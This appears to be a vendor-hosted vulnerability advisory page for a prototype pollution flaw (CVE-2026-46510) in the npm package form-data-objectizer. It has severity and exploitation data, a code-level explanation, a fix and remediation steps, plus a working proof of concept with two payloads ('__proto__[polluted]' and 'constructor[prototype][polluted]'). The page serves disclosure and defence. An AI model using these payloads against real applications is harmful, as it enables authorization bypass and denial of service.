Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-m2hg-wjq3-28wq

HIGHFix: kaspernj/form-data-objectizer@7c54b99

GHSA-m2hg-wjq3-28wq is a high-severity (CVSS 8.2) CWE-1321 vulnerability in form-data-objectizer. O3 Security confirms whether GHSA-m2hg-wjq3-28wq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

form-data-objectizer: Prototype pollution in form-data-objectizer via bracket-notation form keys

Also known asCVE-2026-46510
Published
May 18, 2026
Updated
Jun 9, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 14, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-m2hg-wjq3-28wq.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-m2hg-wjq3-28wq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 360,142 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
form-data-objectizernpm
662downloads / week

Description

Summary

form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process.

The bug is in treatInitial and treatSecond inside index.cjs:

if (inputName in result) {           // 'in' walks the prototype chain, so '__proto__' matches
  newResult = result[inputName]      // newResult === Object.prototype
}
// ...
result[key] = value                  // sets the property on Object.prototype

With the form key __proto__[polluted] and value yes:

  1. treatInitial matches inputName = "__proto__", rest = "[polluted]".
  2. "__proto__" in result is true (inherited), so newResult = result["__proto__"], which is Object.prototype.
  3. treatSecond recurses with key = "polluted", newRest = "", and assigns Object.prototype.polluted = "yes".

Affected versions

  • form-data-objectizer <= 1.0.0 (currently the only published version)

Patched

Not yet. Suggested fix: reject any segment equal to __proto__, constructor, or prototype before walking into result[inputName] / result[key]. Either throw or skip the entry.

Minimum patch in treatInitial and treatSecond:

const REJECT = new Set(['__proto__', 'constructor', 'prototype']);
if (REJECT.has(inputName) || REJECT.has(key)) {
  return; // or throw
}

Using Object.create(null) for the result object would also work since it has no prototype to pollute, but the key === '__proto__' direct write still needs guarding.

Proof of concept

Fresh install on Node 18+:

mkdir pp-fdo && cd pp-fdo
npm init -y
npm install [email protected]
// poc.js
const FormDataToObject = require('form-data-objectizer');

const form = new FormData();
form.append('username', 'alice');
form.append('__proto__[polluted]', 'yes');

FormDataToObject.toObject(form);
console.log(({}).polluted); // -> 'yes'

Observed output:

package version: 1.0.0
before pollution: undefined
after pollution:  yes
parsed data:     { username: 'alice' }
confirmed:       YES, prototype polluted

The field name __proto__[polluted] is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits polluted = 'yes'. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.

A second working payload is constructor[prototype][polluted]=yes, which walks result.constructor then .prototype.

Impact

  • Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses form-data-objectizer.toObject() on incoming form data.
  • Persists for the life of the worker process and affects every subsequent request handled by the same process.
  • Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing if (obj.isAdmin) style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L (8.2, High)

Integrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.

Credit

Reported by Mohamed Bassia (@0xBassia).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmform-data-objectizerall versions1.0.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for form-data-objectizer. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update form-data-objectizer to 1.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m2hg-wjq3-28wq is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-m2hg-wjq3-28wq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m2hg-wjq3-28wq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `form-data-objectizer` walks bracket-notation form keys (e.g. `name[sub]`) into nested objects without filtering `__proto__`, `constructor`, or `prototype`. A single HTTP form field whose name starts with `__proto__[...]` causes the library to mutate `Object.prototype`, which is a prototype pollution primitive of the entire Node.js process. The bug is in `treatInitial` and `treatSecond` inside `index.cjs`: ```js if (inputName in result) { // 'in' walks the prototype chain, so '__proto__' matches newResult = result[inputName] // newResult === Object.prototype } //
O3 Security · Impact-Aware SCA

Is GHSA-m2hg-wjq3-28wq in your dependencies?

O3 detects GHSA-m2hg-wjq3-28wq across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-m2hg-wjq3-28wq: form-data-objectizer… | O3 Security